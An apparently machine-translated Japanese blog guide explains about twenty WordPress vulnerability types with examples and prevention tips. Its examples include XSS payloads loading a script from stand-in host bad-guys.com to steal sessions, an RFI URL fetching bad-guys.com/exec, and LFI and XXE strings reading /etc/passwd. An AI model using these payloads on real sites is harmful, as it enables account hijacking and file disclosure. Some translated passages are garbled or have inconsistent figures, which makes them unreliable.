WordPressの脆弱性の説明

公開: 2021-01-27

残念ながら、WordPressの脆弱性が存在します。 WordPressの脆弱性は、プラグイン、テーマ、さらにはWordPressコアにも存在する可能性があります。また、WordPressは現在すべてのWebサイトのほぼ40％に電力を供給しているため、脆弱性を理解するタスクはさらに重要です。簡単に言えば、Webサイトのセキュリティに注意する必要があります。

WordPressのセキュリティの専門家でない場合は、WordPressのさまざまな脆弱性をすべて理解するのは困難な場合があります。また、WordPressの脆弱性のリスクとともに、脆弱性のさまざまなレベルの重大度を理解しようとするのは大変なことかもしれません。

このガイドでは、最も一般的な21のWordPress脆弱性を定義し、WordPress脆弱性の重大度をスコアリングする方法をカバーし、ハッカーが脆弱性を悪用する方法の例を示し、これらの脆弱性を防ぐ方法を示します。に飛び込みましょう。

WordPressの脆弱性の説明

WordPressの脆弱性とは何ですか？

WordPressの脆弱性は、ハッカーが悪用できるテーマ、プラグイン、またはWordPressコアの弱点または欠陥です。言い換えれば、WordPressの脆弱性は、ハッカーが悪意のある活動を実行するために使用できるエントリポイントを作成します。

ウェブサイトのハッキングはほとんどすべて自動化されていることに注意してください。このため、ハッカーは事実上短時間で多数のWebサイトに簡単に侵入できます。ハッカーは、インターネットをスキャンする特別なツールを使用して、既知の脆弱性を探します。

ハッカーは簡単な標的が好きで、既知の脆弱性を持つソフトウェアを実行しているWebサイトを持つことは、WordPress Webサイト、サーバー、コンピューター、またはその他のインターネット接続デバイスに侵入するためのステップバイステップの指示をハッカーに渡すようなものです。

毎月のWordPress脆弱性ラウンドアップレポートは、公開されているすべてのWordPressコア、WordPressプラグイン、およびテーマの脆弱性を対象としています。これらのまとめでは、脆弱なプラグインまたはテーマの名前、影響を受けるバージョン、および脆弱性のタイプを共有します。

ゼロデイ脆弱性とは何ですか？

ゼロデイ脆弱性は、開発者が脆弱性のパッチをリリースする前に公開された脆弱性です。

WordPressの脆弱性に関しては、ゼロデイ脆弱性の定義を理解することが重要です。脆弱性は一般に公開されているため、開発者は脆弱性にパッチを適用するためのゼロデイ攻撃があります。そして、これはプラグインやテーマに大きな影響を与える可能性があります。

通常、セキュリティ研究者は脆弱性を発見し、ソフトウェアを所有する会社の開発者に脆弱性を非公開で開示します。セキュリティ研究者と開発者は、パッチが利用可能になったら完全な詳細が公開されることに同意します。パッチがリリースされた後、主要なセキュリティの脆弱性を更新する時間を増やすために、脆弱性の開示がわずかに遅れる場合があります。

ただし、開発者がセキュリティ研究者に応答しない場合、または脆弱性のパッチを提供しない場合、研究者は脆弱性を公開して、開発者にパッチを発行するよう圧力をかけることができます。

脆弱性を公に開示し、ゼロデイを導入しているように見えると、逆効果に見える場合があります。しかし、それは、研究者が開発者に脆弱性にパッチを当てるように圧力をかけなければならない唯一の手段です。

GoogleのProjectZeroには、脆弱性の開示に関して同様のガイドラインがあります。彼らは90日後に脆弱性の完全な詳細を公開します。脆弱性にパッチが適用されているかどうか。

脆弱性は誰でも見つけることができます。開発者がパッチをリリースする前にハッカーが脆弱性を発見した場合、それはエンドユーザーにとって最悪の悪夢になります…。積極的に悪用されたゼロデイ。

積極的に悪用されたゼロデイ脆弱性とは何ですか？

積極的に悪用されたゼロデイ脆弱性は、まさにそのように聞こえます。これは、ハッカーが標的にし、攻撃し、積極的に悪用している、パッチが適用されていない脆弱性です。

2018年の終わりに、ハッカーはWPGDPRコンプライアンスプラグインの深刻なWordPressの脆弱性を積極的に悪用していました。このエクスプロイトにより、権限のないユーザー（これについては次のセクションで詳しく説明します）がWPユーザー登録設定を変更し、デフォルトの新しいユーザーロールをサブスクライバーから管理者に変更することができました。

これらのハッカーは、WPGDPRコンプライアンスプラグインとセキュリティ研究者の前にこの脆弱性を発見しました。したがって、プラグインがインストールされているWebサイトは、サイバー犯罪者にとって簡単で保証されたマークでした。

ゼロデイ脆弱性から身を守る方法

ゼロデイ脆弱性からWebサイトを保護する最善の方法は、脆弱性にパッチが適用されるまでソフトウェアを非アクティブ化して削除することです。ありがたいことに、WP GDPRコンプライアンスプラグインの開発者は迅速に行動し、公開された翌日に脆弱性のパッチをリリースしました。

パッチが適用されていない脆弱性により、Webサイトはハッカーの標的になりやすくなります。

認証されていないWordPressの脆弱性と認証されたWordPressの脆弱性

WordPressの脆弱性について話すときに知っておく必要のある用語がさらに2つあります。

認証されていない–認証されていないWordPressの脆弱性は、誰でもこの脆弱性を悪用できることを意味します。
認証済み–認証済みのWordPressの脆弱性は、ログインしたユーザーが悪用する必要があることを意味します。

認証されたユーザーを必要とする脆弱性は、特に管理者レベルの特権を必要とする場合、ハッカーが悪用するのがはるかに困難です。また、ハッカーがすでに一連の管理者資格情報を入手している場合は、脆弱性を悪用して大混乱を引き起こす必要はありません。

注意点が1つあります。一部の認証済みの脆弱性は、悪用するためにサブスクライバーレベルの機能のみを必要とします。 Webサイトで誰でも登録できる場合、これと認証されていない脆弱性の間に大きな違いはありません。

19の一般的なWordPressの脆弱性の説明

WordPressの脆弱性に関しては、21の一般的なタイプの脆弱性があります。これらのWordPressの脆弱性タイプのそれぞれについて説明しましょう。

1.認証バイパス

認証バイパスの脆弱性により、攻撃者は認証要件をスキップして、通常は認証されたユーザー用に予約されているタスクを実行できます。

認証は、ユーザーのIDを確認するプロセスです。 WordPressでは、ユーザーが本人確認を行うためにユーザー名とパスワードを入力する必要があります。

認証バイパスの例

アプリケーションは、固定されたパラメーターのセットに基づいて認証を検証します。攻撃者はこれらのパラメータを変更して、通常は認証を必要とするWebページにアクセスする可能性があります。

このようなものの非常に基本的な例は、URLの認証パラメーターです。

 https:/my-website/some-plugint?param=authenticated&param=no

上記のURLには、値がnoの認証パラメーターがあります。そのため、このページにアクセスすると、このページの情報を表示する権限がないことを通知するメッセージが表示されます。

ただし、認証チェックのコーディングが不十分な場合、攻撃者は認証パラメータを変更してプライベートページにアクセスする可能性があります。

 https:/my-website/some-plugint?param=authenticated&param=yes

この例では、ハッカーはURLの認証値をyesに変更して、ページを表示するための認証要件をバイパスすることができます。

認証バイパス防止を防止する方法

2要素認証を使用すると、認証の脆弱性からWebサイトを保護できます。

2.バックドアの脆弱性

バックドアの脆弱性により、許可されたユーザーと許可されていないユーザーの両方が通常のセキュリティ対策を回避し、コンピューター、サーバー、Webサイト、またはアプリケーションへの高レベルのアクセスを取得できます。

バックドアの例

開発者はバックドアを作成して、管理者ユーザーとしてコーディングとコードのテストをすばやく切り替えることができます。残念ながら、開発者はソフトウェアが一般にリリースされる前にバックドアを削除するのを忘れています。

ハッカーがバックドアを見つけた場合、エントリポイントを悪用して、ソフトウェアへの管理者アクセスを取得できます。ハッカーは管理者アクセス権を持っているので、マルウェアの注入や機密データの盗用など、あらゆる種類の悪意のあることを行うことができます。

バックドアを防ぐ方法

多くのバックドアは、セキュリティの設定ミスという1つの問題に要約できます。コード内の未使用の機能を削除し、すべてのライブラリを最新の状態に保ち、エラーメッセージをより一般的にすることで、セキュリティの設定ミスの問題を軽減できます。

3.PHPオブジェクト注入の脆弱性

PHP Object-Injectionの脆弱性は、ユーザーがunserialized() PHP関数に渡される前に、 unserialized()されていない（つまり、不正な文字が削除されていない）入力を送信すると発生します。

PHPオブジェクト注入の例

これは、sumofpwnによって最初に報告されたSample Ads ManagerWordPressプラグインのPHPObject-Injectionの脆弱性の実際の例です。

この問題は、プラグインsam-ajax-loader.phpファイルのunserialize（）への2つの安全でない呼び出しが原因です。以下のコードに示されているように、入力はPOSTリクエストから直接取得されます。

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

この問題により、攻撃者が悪意のあるコードを入力して実行する可能性があります。

PHPオブジェクトの注入を防ぐ方法

ユーザー指定の入力でunserialize()関数を使用せず、代わりにJSON関数を使用してください。

4.クロスサイトスクリプティングの脆弱性

XSSまたはクロスサイトスクリプティングの脆弱性は、WebアプリケーションでユーザーがURLパスにカスタムコードを追加できる場合に発生します。攻撃者はこの脆弱性を悪用して、被害者のWebブラウザで悪意のあるコードを実行したり、悪意のあるWebサイトへのリダイレクトを作成したり、ユーザーセッションを乗っ取ったりする可能性があります。

XSSには主に3つのタイプがあります。保存され、DOMベース

5.反映されたクロスサイトスクリプティングの脆弱性

リフレクトXSSまたはリフレクトクロスサイトスクリプティングは、悪意のあるスクリプトがクライアント要求（ブラウザーでユーザーが行った要求）でサーバーに送信され、サーバーによって反映されてブラウザーによって実行されるときに発生します。

反映されたクロスサイトスクリプティングの例

yourfavesite.comで、Webサイトのコンテンツの一部を表示するには、ログインする必要があるとします。そして、このWebサイトがユーザー入力を適切にエンコードできないとしましょう。

攻撃者は、悪意のあるリンクを作成し、それをyourfavesite.comユーザーと電子メールやソーシャルメディアの投稿で共有することにより、この脆弱性を利用する可能性があります。

攻撃者はURL短縮ツールを使用して、悪意のあるリンクを脅威ではなく、非常にクリックしyourfavesite.com/cool-stuffますyourfavesite.com/cool-stuff - yourfavesite.com/cool-stuff 。ただし、短縮リンクをクリックすると、完全なリンクがブラウザによって実行されますyourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js 。

リンクをクリックすると、 yourfavesite.comに移動し、悪意のあるスクリプトがブラウザに反映され、攻撃者がセッションCookieとyourfavesite.comアカウントを乗っ取ることができます。

反映されたクロスサイトスクリプティングを防ぐ方法

OWASPクロススクリプト防止チートシートのルール＃5は、信頼できないデータをHTMLURLパラメーター値に挿入する前のURLエンコードです。このルールは、信頼できないデータをHTTP GETパラメーター値に追加するときに、反映されたXSSの脆弱性が作成されるのを防ぐのに役立ちます。

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6.保存されたクロスサイトスクリプティングの脆弱性

StoredXSSまたはStoredCross-Site Scriptingの脆弱性により、ハッカーは悪意のあるコードをWebアプリケーションのサーバーに挿入して保存することができます。

保存されたクロスサイトスクリプティングの例

攻撃者は、 yourfavesite.comが訪問者にサイトのコメントセクションにHTMLタグを埋め込むことを許可していることを発見しyourfavesite.com 。したがって、攻撃者は新しいコメントを作成します。

素晴らしい記事です！この他の関連するすばらしい<script src=”http://bad-guys.com/passwordstealingcode.js>記事をチェックしてください。 </script>

注：反映されたXSSの脆弱性では、訪問者が悪意のあるコードのリンクをクリックして実行する必要があります。 保存されたXSS攻撃では、コメントを含むページにアクセスする必要があります。悪意のあるコードは、ページが読み込まれるたびに実行されます。

悪意のあるユーザーがコメントを追加したので、このページの今後のすべての訪問者は、悪意のあるスクリプトにさらされます。スクリプトは悪者のWebサイトでホストされており、訪問者のセッションCookieとyourfavesite.comアカウントをyourfavesite.comます。

保存されたクロスサイトスクリプティングを防ぐ方法

OWASPクロススクリプト防止チートシートのルール＃1は、信頼できないデータをHTML要素に追加する前のHTMLエンコードです。

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

スクリプト、スタイル、イベントハンドラーなどの実行コンテキストに切り替わらないように、次の文字をエンコードします。 仕様では、16進エンティティの使用が推奨されています。

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7.ドキュメントオブジェクトモデルベースのクロスサイトスクリプティングの脆弱性

DOMベースのXSSまたはドキュメントオブジェクトモデルベースのクロスサイトスクリプティングの脆弱性は、Webサイトのクライアント側スクリプトがユーザー提供のデータをドキュメントオブジェクトモデル（DOM）に書き込むときに発生します。次に、WebサイトはDOMからユーザーの日付を読み取り、それを訪問者のWebブラウザーに出力します。

ユーザーが提供したデータが適切に処理されない場合、攻撃者はWebサイトがDOMからコードを読み取るときに実行される悪意のあるコードを挿入する可能性があります。

注：反映および保存されたXSSはサーバー側の問題ですが、DOMベースのXSSはクライアント（ブラウザー）の問題です。

ドキュメントオブジェクトモデルベースのクロスサイトスクリプティングの例

DOM XSS攻撃を説明する一般的な方法は、カスタムウェルカムページです。アカウントを作成した後、 yourfavesite.comが、以下のコードを使用して名前で歓迎するようにカスタマイズされたウェルカムページにリダイレクトされたとします。そして、ユーザー名はURLにエンコードされます。

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

したがって、URLはyourfavesite.com/account?name=yournameます。

攻撃者は、次のURLを新しいユーザーに送信することにより、DOMベースのXSS攻撃を実行する可能性があります。

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

新しいユーザーがリンクをクリックすると、ブラウザは次のリクエストを送信します。

 /account?name=<script>alert(document.cookie)</script>

bad-guys.com 。 Webサイトは、上記のJavascriptコードを含むページで応答します。

新しいユーザーのブラウザは、ページのDOMオブジェクトを作成します。このオブジェクトには、 document.locationオブジェクトに次の文字列が含まれています。

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

ページの元のコードは、デフォルトのパラメーターにHTMLマークアップが含まれていることを想定しておらず、マークアップをページにエコーします。次に、新しいユーザーのブラウザがページをレンダリングし、攻撃者のスクリプトを実行します。

 alert(document.cookie)

DOMベースのクロスサイトスクリプティングを防ぐ方法

OWASP Domベースのクロスサイトスクリプティング防止に関するチートシートのルール＃1は、HTMLエスケープです。次に、JSは、実行コンテキスト内のHTMLサブコンテキストに信頼できないデータを追加する前にエスケープします。

危険なHTMLメソッドの例：

属性

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

メソッド

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

DOMセーフでHTMLを動的に更新するために、OWASPでは次のことをお勧めします。

HTMLエンコーディング、そして
次の例に示すように、すべての信頼できない入力をエンコードするJavaScript：

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8.クロスサイトリクエストフォージェリの脆弱性

CSRFまたはクロスサイトリクエストフォージェリの脆弱性は、サイバー犯罪者がユーザーをだまして意図しないアクションを実行させた場合に発生します。攻撃者は、アプリケーションに対するユーザーの要求を偽造します。

クロスサイトリクエストフォージェリの例

2020年1月のWordPressVulnerability Roundupで、CodeSnippetsプラグインにあるクロスサイトリクエストフォージェリの脆弱性について報告しました。（プラグインはバージョン2.14.0ですぐにパッチが適用されました）

プラグインにはCRSF保護がないため、誰でも管理者に代わってリクエストを偽造し、脆弱なサイトに実行可能コードを挿入することができました。攻撃者はこの脆弱性を利用して悪意のあるコードを実行し、サイトを完全に乗っ取る可能性さえあります。

クロスサイトリクエストフォージェリを防ぐ方法

ほとんどのコーディングフレームワークには、CSRFから保護するための同期トークン防御が組み込まれているため、それらを使用する必要があります。

PHPおよびApacheCSRFの脆弱性を保護するために使用できるCSRFプロテクタープロジェクトのような外部コンポーネントもあります。

9.サーバー側のリクエストの偽造の脆弱性

SSRFまたはServer- SiteRequest Forgerの脆弱性により、攻撃者はサーバー側のアプリケーションをだまして、選択した任意のドメインにHTTP要求を送信することができます。

サーバー側のリクエスト偽造の例

SSRFの脆弱性を悪用して、リフレクトクロスサイトスクリプティング攻撃を阻止する可能性があります。攻撃者はbad-guys.comから悪意のあるスクリプトをフェッチし、それをWebサイトのすべての訪問者に提供する可能性があります。

サーバー側のリクエストの偽造を防ぐ方法

SSRFの脆弱性を軽減するための最初のステップは、入力を検証することです。たとえば、サーバーがユーザー指定のURLに依存してさまざまなファイルをフェッチする場合は、URLを検証し、信頼できるターゲットホストのみを許可する必要があります。

SSRF防止の詳細については、OWASPチートシートを確認してください。

10.特権昇格の脆弱性

特権昇格の脆弱性により、攻撃者は通常はより高いレベルの特権を必要とするタスクを実行できます。

特権昇格の例

2020年11月のWordPressVulnerability Roundupで、Ultimate Memberプラグインで見つかった特権昇格の脆弱性について報告しました（この脆弱性はバージョン2.1.12でパッチが適用されました）。

攻撃者は、ユーザーの役割を定義するwp_capabilitiesユーザーメタの配列パラメーターを提供する可能性があります。登録プロセス中に、送信された登録の詳細がupdate_profile関数に渡され、送信されたものに関係なく、送信されたそれぞれのメタデータは、その新しく登録されたユーザーに対して更新されます。

この脆弱性により、基本的に、新規ユーザーは登録時に管理者を要求できました。

特権の昇格を防ぐ方法

iThemes Security Proは、信頼できるデバイスのリストへの管理者アクセスを制限することにより、アクセス制御の破損からWebサイトを保護するのに役立ちます。

11.リモートコード実行の脆弱性

RCEまたはリモートコード実行の脆弱性により、攻撃者はコンピュータやサーバーにアクセスして変更を加えたり、乗っ取ったりすることができます。

リモートコード実行の例

2018年、MicrosoftはExcelで見つかったリモートコード実行の脆弱性を公開しました。

攻撃者がこの脆弱性を悪用した場合、現在のユーザーのコンテキストで任意のコードが実行される可能性があります。現在のユーザーが管理ユーザー権限でログオンしている場合、攻撃者が影響を受けるシステムを制御する可能性があります。その後、攻撃者はプログラムをインストールする可能性があります。データを表示、変更、または削除する。または、完全なユーザー権限で新しいアカウントを作成します。システムでのユーザー権限が少なくなるようにアカウントが構成されているユーザーは、管理ユーザー権限で操作するユーザーよりも影響が少ない可能性があります。

リモートコード実行を防止する方法

RCEの脆弱性を軽減する最も簡単な方法は、不要な文字をフィルタリングして削除することにより、ユーザー入力を検証することです。

親会社のLiquidWebには、リモートでコードが実行されないようにするためのすばらしい記事があります。

12.ファイルインクルードの脆弱性

Webアプリケーションは、ユーザーがサーバーにファイルをファイルに入力を提出またはアップロードすることができたときに、ファイルインクルージョンの脆弱性が発生します。

ファイルインクルードの脆弱性には、ローカルとリモートの2種類があります。

13.ローカルファイルインクルードの脆弱性

LFIまたはローカルファイルインクルードの脆弱性により、攻撃者はWebサイトのサーバー上のファイルを読み取り、場合によっては実行することができます。

ローカルファイルインクルードの例

yourfavesite.comをもう一度見てみましょう。ここでincludeステートメントをincludeためinclude渡されたパスが適切にyourfavesite.comさincludeていません。たとえば、以下のURLを見てみましょう。

 yourfavesite.com/module.php?file=example.file

攻撃者がURLパラメータを変更して、サーバー上の任意のファイルにアクセスする可能性があります。

 yourfavesite.com/module.php?file=etc/passwd

URL内のファイルの値を変更すると、攻撃者がpsswdファイルの内容を表示する可能性があります。

ローカルファイルの包含を防ぐ方法

ページに含めることができるファイルの許可リストを作成し、識別子を使用して選択したファイルにアクセスします。次に、無効な識別子を含むリクエストをブロックします。

14.リモートファイルインクルードの脆弱性

RFIまたはリモートファイルインクルードの脆弱性により、攻撃者はファイルをインクルードでき、通常、ターゲットアプリケーションに実装されている「動的ファイルインクルード」メカニズムを悪用します。

リモートファイルインクルードの例

Spritzを使用したWordPressプラグインWPは、RFIの脆弱性があったため、WordPress.orgリポジトリで閉じられました。

以下は、脆弱性のソースコードです。

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

content.filter.php?url= valueの値を変更することで、コードを悪用できます。例えば：

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

リモートファイルインクルード防止

15.ディレクトリトラバーサルの脆弱性

ディレクトリトラバーサルまたはファイルトラバーサルの脆弱性により、攻撃者はアプリケーションを実行しているサーバー上の任意のファイルを読み取ることができます。

ディレクトリトラバーサルの例

WordPressバージョン5.7〜5.03は、ユーザー入力データを適切に検証できなかったため、ディレクトリトラバーサル攻撃に対して脆弱でした。少なくとも作成author権限を持つアカウントにアクセスできる攻撃者は、ディレクトリトラバーサルの脆弱性を悪用し、基盤となるサーバーで悪意のあるPHPコードを実行して、完全なリモートテイクオーバーを引き起こす可能性があります。

ディレクトリトラバーサルを防ぐ方法

開発者は、言語ファイルをテンプレート化または使用するときに、ファイル名の実際の部分ではなくインデックスを使用できます。

16.悪意のあるリダイレクトの脆弱性

悪意のあるリダイレクトの脆弱性により、攻撃者はコードを挿入してサイト訪問者を別のWebサイトにリダイレクトできます。

悪意のあるリダイレクトの例

オンラインブティックの検索ツールを使用して青いセーターを探しているとしましょう。

残念ながら、ブティックのサーバーはユーザー入力を適切にエンコードできず、攻撃者は悪意のあるリダイレクトスクリプトを検索クエリに挿入することができました。

したがって、ブティックの検索フィールドに青いセーターを入力してEnterキーを押すと、検索の説明に一致するセーターがブティックのページではなく、攻撃者のWebページに表示されます。

悪意のあるリダイレクトを防ぐ方法

ユーザー入力をサニタイズし、URLを検証し、すべてのオフサイトリダイレクトの訪問者確認を取得することで、悪意のあるリダイレクトから保護できます。

17.XML外部エンティティの脆弱性

XXEまたはXML外部エンティティの脆弱性により、攻撃者はXMLパーサーをだまして、機密情報を自分の管理下にある外部エンティティに渡すことができます。

XML外部エンティティの例

攻撃者はXXEの脆弱性を悪用して、ユーザーアカウント情報を格納するetc / passwdなどの機密ファイルにアクセスする可能性があります。

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

XML外部エンティティを防ぐ方法

XXEを防ぐ最善の方法は、JSONなどのそれほど複雑でないデータ形式を使用し、機密データのシリアル化を回避することです。

18.サービス拒否攻撃

DoS攻撃またはサービス拒否攻撃は、Webサイトまたはアプリケーションをネットワークトラフィックで溢れさせることにより、ユーザーが利用できないようにする意図的な試みです。

DDoS分散型サービス拒否攻撃では、攻撃者は複数のソースを使用してネットワークをトラフィックで溢れさせます。攻撃者は、マルウェアに感染したコンピューター、ルーター、IoTデバイスのグループを乗っ取って、トラフィックフローを増やします。

サービス拒否攻撃の例

今年の2月に、史上最大のDDoS（Distributed Denial-of-Service）攻撃がAWSに対して課されました。 Amazonは、マネージド脅威保護サービスであるAWS Shieldが、この巨大なDDoS攻撃を監視および軽減したと報告しました。攻撃は3日間続き、1秒あたり2.3テラバイトでピークに達しました。

サービス拒否攻撃を防ぐ方法

DoS攻撃を軽減する主な方法は2つあります。

必要以上のホスティングを購入してください。自由に使える追加のリソースがあると、DoS攻撃によって引き起こされる需要の増加を乗り切るのに役立ちます。
Cloudflareのようなサーバーレベルのファイアウォールを使用します。ファイアウォールは、トラフィックの異常なスパイクを検出し、Webサイトが過負荷になるのを防ぐことができます。

19.キーストロークログ

キーロガーまたはキーボードキャプチャとも呼ばれるキーストロークロギングは、ハッカーがWebサイト訪問者のキーストロークを密かに監視および記録するときに発生します。

キーストロークロギングの例

2017年、ハッカーはスマートフォンメーカーのOnePlusのサーバーに悪意のあるJavaScriptを正常にインストールしました。

攻撃者は悪意のあるコードを使用して、クレジットカードの詳細を入力するときにOnePlusの顧客のキーストロークを監視および記録しました。 OnePlusがハッキングを検出してパッチを適用する前に、ハッカーは40,000人の顧客のキーストロークを記録して収集しました。

キーストロークロギングを防ぐ方法

すべてを更新してください！通常、攻撃者は別の既存の脆弱性を悪用して、コンピューターまたはサーバーにキーロガーを挿入する必要があります。最新のセキュリティパッチですべてを最新の状態に保つことで、ハッカーがWebサイトやコンピューターにキーロガーを簡単にインストールできるようになります。

ボーナス：2つのソーシャルエンジニアリングとユーザーの脆弱性

ソフトウェアの脆弱性は、ハッカーやサイバー犯罪者が悪用しようとする唯一のものです。ハッカーはまた、人間を標的にして悪用します。私たちが脆弱性に変わる可能性のあるいくつかの方法を見てみましょう。

1.フィッシング

フィッシングは、電子メール、ソーシャルメディア、テキストメッセージ、および電話を使用して被害者をだまして個人情報をあきらめるサイバー攻撃方法です。その後、攻撃者はその情報を使用して個人アカウントにアクセスしたり、個人情報詐欺を犯したりします。

フィッシングメールを見つける方法

この投稿の前半で学んだように、一部の脆弱性を悪用するには、ある種のユーザー操作が必要です。ハッカーが人々をだまして不正な活動に参加させる方法の1つは、フィッシングメールを送信することです。

フィッシングメールを見つける方法を学ぶことで、サイバー犯罪者の計画にうっかり遊んでしまうのを防ぐことができます。

フィッシングメールを見つけるための4つのヒント：

差出人の電子メールアドレスを確認する–企業から電子メールを受信する場合、「@」の後の送信者の電子メールアドレスの部分は企業名と一致する必要があります。

メールが企業または政府機関を表しているが、「@ gmail」などの公開メールアドレスを使用している場合は、フィッシングメールの兆候です。

ドメイン名の微妙なスペルミスに注意してください。たとえば、このメールアドレスを見てみましょう[メール保護] Netflixの最後に余分な「x」が付いていることがわかります。スペルミスは、電子メールが詐欺師によって送信されたものであり、すぐに削除する必要があることを明確に示しています。
文法上の誤りを探す–文法上の誤りでいっぱいの電子メールは、悪意のある電子メールの兆候です。すべての単語のスペルは正しいかもしれませんが、文には一貫性のある単語がありません。たとえば、「あなたのアカウントはハッキングされています。アカウントのセキュリティに合わせてパスワードを更新してください。」

誰もが間違いを犯し、タイプミスのあるすべての電子メールがあなたを詐欺しようとするわけではありません。ただし、複数の文法エラーがある場合は、応答する前に詳しく調べる必要があります。
疑わしい添付ファイルまたはリンク–電子メールに含まれている添付ファイルまたはリンクを操作する前に、しばらく一時停止する価値があります。

電子メールの送信者がわからない場合は、マルウェアが含まれていてコンピュータに感染する可能性があるため、電子メールに含まれている添付ファイルをダウンロードしないでください。メールが企業からのものであると主張する場合は、添付ファイルを開く前に、連絡先情報をGoogleで検索して、メールが送信されたことを確認できます。

電子メールにリンクが含まれている場合は、リンクの上にマウスを置くと、URLが本来あるべき場所に送信されていることを確認できます。
緊急の要求に注意する–詐欺師が使用する一般的なトリックは、緊急性の感覚を作り出すことです。悪意のある電子メールは、早急な対応が必要なシナリオを作成する可能性があります。考える時間が長いほど、詐欺師からのリクエストであると特定できる可能性が高くなります。

「上司」からベンダーへの支払いを求めるメールが届く場合があります。または銀行から、アカウントがハッキングされており、早急な対応が必要であることを通知するメールが届く場合があります。

2.弱いクレデンシャル

ユーザーは、WordPressの最大のセキュリティ脆弱性になる可能性があります。

Splash Dataによって編集されたリストでは、すべてのデータダンプに含まれる最も一般的なパスワードは123456でした。データダンプは、インターネット上のどこかにダンプされたユーザーパスワードで満たされたハッキングされたデータベースです。 123456がデータダンプで最も一般的なパスワードである場合、Webサイトで弱いパスワードを使用している人の数を想像できますか？

91％の人がパスワードの再利用は悪い習慣であることを知っていますが、59％の人はまだどこでもパスワードを再利用しています！これらの人々の多くは、データベースダンプに表示されていることがわかっているパスワードをまだ使用しています。

ハッカーは、辞書攻撃と呼ばれるブルートフォース攻撃の形式を使用します。辞書攻撃は、データベースダンプに表示される一般的に使用されるパスワードを使用してWordPressWebサイトに侵入する方法です。「コレクション＃1？ MEGAホストでホストされたデータ侵害には、電子メールアドレスとパスワードの1,160,253,228の一意の組み合わせが含まれていました。それはbで10億です。この種のスコアは、辞書攻撃が最も一般的に使用されるWordPressパスワードを絞り込むのに本当に役立ちます。

クレデンシャルが弱いと、WordPressログインがハッカーが悪用しやすい脆弱性に変わります。

弱い資格情報を防ぐ方法

弱い資格情報を防ぐ最善の方法は、強力なパスワードポリシーを作成し、2要素認証を使用することです。

iThemes Security Proのパスワード要件機能を使用すると、ユーザーグループのメンバーに強力なパスワードの使用、パスワードの有効期限の選択、侵害されたパスワードの拒否、サイト全体のパスワードの変更を強制して、全員が新しい強力なパスワードポリシーに準拠するようにできます。

二要素認証は、2つの別個の検証方法を要求することにより、個人のIDを検証するプロセスです。 Googleはブログで、2要素認証を使用すると自動ボット攻撃を100％阻止できることを共有しました。

iThemes Security Proの2要素認証機能は、Webサイトに2faを実装する際に非常に高い柔軟性を提供します。すべてまたは一部のユーザーに対して2要素を有効にし、高レベルのユーザーにログインごとに2faを使用するように強制することができます。

WordPressの脆弱性からWordPressのWebサイトを保護する方法

WordPressの脆弱性からWebサイトを保護するために実行できるいくつかの実用的な手順を見てみましょう。

1.WordPressソフトウェアを最新の状態に保つ

パッチが利用可能であるが適用されていない脆弱なプラグインまたはテーマを持っていることは、ハッキングされたWordPressWebサイトの最大の原因です。脆弱性に対するパッチがリリースされた後、ほとんどの脆弱性が悪用されていることをこれが意味。

報告の多いEquifaxの侵害は、ソフトウェアを更新すれば防ぐことができたはずです。 Equifaxの侵害については、言い訳はありませんでした。

あなたのソフトウェアを更新するのと同じくらい簡単な何かがあなたを保護することができます。 したがって、これらのWordPressアップデートを無視しないでください。アップデートはWordPressとすべてのWebセキュリティの最も基本的なコンポーネントの1つです。

iThemes Security Proのバージョン管理機能により、WordPressの更新をカスタマイズおよび自動化できます。

2.WordPressの脆弱性を追跡する

プラグインとテーマを最新の状態に保つことは、すべての脆弱性からあなたを保護するわけではありません。一部のプラグインとテーマは、それらを作成した開発者によって放棄されました。

残念ながら、放棄されたプラグインまたはテーマに脆弱性がある場合、パッチを取得することはありません。ハッカーは、これらの永続的に脆弱なプラグインを使用するWebサイトを標的にします。

脆弱性を追跡することは、安全なWebサイトを持つことと、ハッカーが簡単に悪用するWebサイトを持つことの違いです。

Webサイトに既知の脆弱性を持つ放棄されたプラグインがある場合、ハッカーにWebサイトを乗っ取るために必要な青写真を提供していることになります。そのため、最新の脆弱性をすべて追跡する必要があります。

開示されたすべてのWordPressの脆弱性を追跡し、そのリストをWebサイトにインストールしたプラグインやテーマのバージョンと比較することは困難です。脆弱性を追跡することは、安全なWebサイトを持つことと、ハッカーが簡単に悪用するWebサイトを持つことの違いです。

朗報です！ WordPressの脆弱性のまとめで開示されたすべての脆弱性を追跡し、共有します。

3.Webサイトをスキャンして脆弱性を探します

より迅速な方法は、簡単なハッカーの悪用からWebサイトを保護することです。自動スキャンを使用して、既知の脆弱性についてWebサイトをチェックします。

